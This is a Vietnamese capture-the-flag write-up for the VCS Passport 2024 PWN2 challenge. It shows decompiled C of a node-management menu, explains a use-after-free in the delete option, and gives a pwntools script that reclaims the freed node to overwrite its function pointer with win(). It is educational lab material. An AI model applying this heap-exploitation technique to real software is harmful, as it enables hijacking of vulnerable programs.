VCS Passport 2024

PWN2

Vulnerability: Chương trình tin rằng chỉ cần node tại index không phải null thì có nghĩa là hợp lệ, tuy nhiên trên thực tế attacker có thể free node mà không set null, dẫn đến use-after-free.

January 13, 2026 December 12, 2025 Easy
Author Author Hung Nguyen Tuong

Setup

Đầu tiên mình setup docker, copy libc và ld, patch binary các kiểu:

ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x service/chall
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ nc 0 9002
Viettel Cyber Security
1.Create node
2.Update node
3.Delete node
4.View node
Enter your choice:
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.

Recon

Mitigation

Code

Node *list[100];

//----- (00000000004013B4) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice;           // [rsp+4h] [rbp-3Ch] BYREF
  signed int buf_;      // [rsp+8h] [rbp-38h] BYREF
  unsigned int buf;     // [rsp+Ch] [rbp-34h] BYREF
  int node_count;       // [rsp+10h] [rbp-30h]
  int i;                // [rsp+14h] [rbp-2Ch]
  int m;                // [rsp+18h] [rbp-28h]
  int n;                // [rsp+1Ch] [rbp-24h]
  int k;                // [rsp+20h] [rbp-20h]
  int j;                // [rsp+24h] [rbp-1Ch]
  Node *node_;          // [rsp+28h] [rbp-18h]
  Node *node;           // [rsp+30h] [rbp-10h]
  unsigned __int64 v15; // [rsp+38h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  init();
  choice = -1;
  buf_ = 0;
  node_count = 0;
  node_ = 0LL;
  for (i = 0; i <= 99; ++i)
    list[i] = 0LL;
  while (node_count <= 99)
  {
    menu();
    __isoc99_scanf("%u", &choice);
    if (choice == 4)
    {
      printf("Node ID ? :");
      buf = -1;
      node = 0LL;
      __isoc99_scanf("%u", &buf); // input node id
      for (j = 0; j <= 99; ++j)
      {
        if (list[j] && list[j]->id == buf)
        {
          node = list[j];
          break;
        }
      }
      if (node)
      {
        printf("ID : %d\nContent: %s\nContent size : %d\n", node->id, node->content, node->content_size);
        if (node->func)
          node->func();
      }
      else
      {
      not_found:
        puts("Not found");
      }
    }
    else if (choice <= 4)
    {
      switch (choice)
      {
      case 3:
        printf("Node ID ? :");
        buf_ = -1;
        node_ = 0LL;
        __isoc99_scanf("%u", &buf_);
        for (k = 0; k <= 99; ++k)
        {
          if (list[k] && list[k]->id == buf_)
            node_ = list[k];
        }
        if (!node_)
          goto not_found;
        free((void *)node_->content);
        node_->content = 0LL;
        free(node_);
        break;
      case 1: // create node
        node_ = (Node *)malloc(32uLL);
        buf = 0;
        printf("Content size :");
        __isoc99_scanf("%u", &buf); // input content size
        node_->content = (const char *)malloc((int)buf);
        if (!node_->content)
        {
          puts("Failed to malloc");
          exit(0);
        }
        printf("Enter content :");
        read(0, (void *)node_->content, buf);
        node_->content_size = buf;
        node_->id = node_count++;
        for (m = 0; m <= 99; ++m)
        {
          if (!list[m])
          {
            list[m] = node_;
            break;
          }
        }
        printf("[*]Success! Your node id is :%d\n", node_->id);
        break;
      case 2: // update node
        printf("Node ID ? :");
        buf_ = -1;
        node_ = 0LL;
        __isoc99_scanf("%u", &buf_); // input node id
        for (n = 0; n <= 99; ++n)
        {
          if (list[n] && list[n]->id == buf_)
          {
            node_ = list[n];
            break;
          }
        }
        if (!node_)
          goto not_found;
        printf("New content size: ");
        __isoc99_scanf("%u", &buf_); // input content size
        if ((signed int)node_->content_size >= buf_ || (node_->content = (const char *)malloc(buf_)) != 0LL)
        {
          printf("Enter new content: ");
          read(0, (void *)node_->content, (unsigned int)buf_);
          node_->content_size = buf_;
        }
        else
        {
          puts("Failed to malloc");
        }
        break;
      }
    }
  }
  return 0;
}

Mình xác định struct của Node như sau:

  • 8 byte func
  • 4 byte id
  • 4 byte padding
  • 8 byte content
  • 4 byte content size
  • 4 byte padding for alignment

Có 3 nơi gọi malloc:

  • new node (fixed 32 byte) (choice 1).
  • new content (user input) (choice 1).
  • replace content (user input) (choice 2).

2 nơi gọi:

  • free content, đã set null sau đó (choice 3)
  • free node sau khi free content, nhưng không set null sau đó, có thể uaf bởi vì con trỏ vẫn lưu trong list (choice 3).

Solve

#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9002
        return remote(host, port)

p = conn()

def create_node(size, content):
    slan(p, b'choice', 1)
    slan(p, b'size', size)
    sa(p, b'content', content)

def update_note(id, size, content):
    slan(p, b'choice', 2)
    slan(p, b'ID', id)
    slan(p, b'size', size)
    sa(p, b'content', content)

def delete_node(id):
    slan(p, b'choice', 3)
    slan(p, b'ID', id)

def view_node(id):
    slan(p, b'choice', 4)
    slan(p, b'ID', id)

# Tạo node 0
create_node(32, b'A')
# Tạo note 1 để sửa content
create_node(10, b'A')
# Xoá node 0, list[0] vẫn giữ con trỏ
delete_node(0)
# Edit content node 1 để cấp phát lại đến node 0 -> ghi đè con trỏ hàm với win()
update_note(1, 32, p64(exe.symbols['win']))

view_node(0)

ia(p)

Script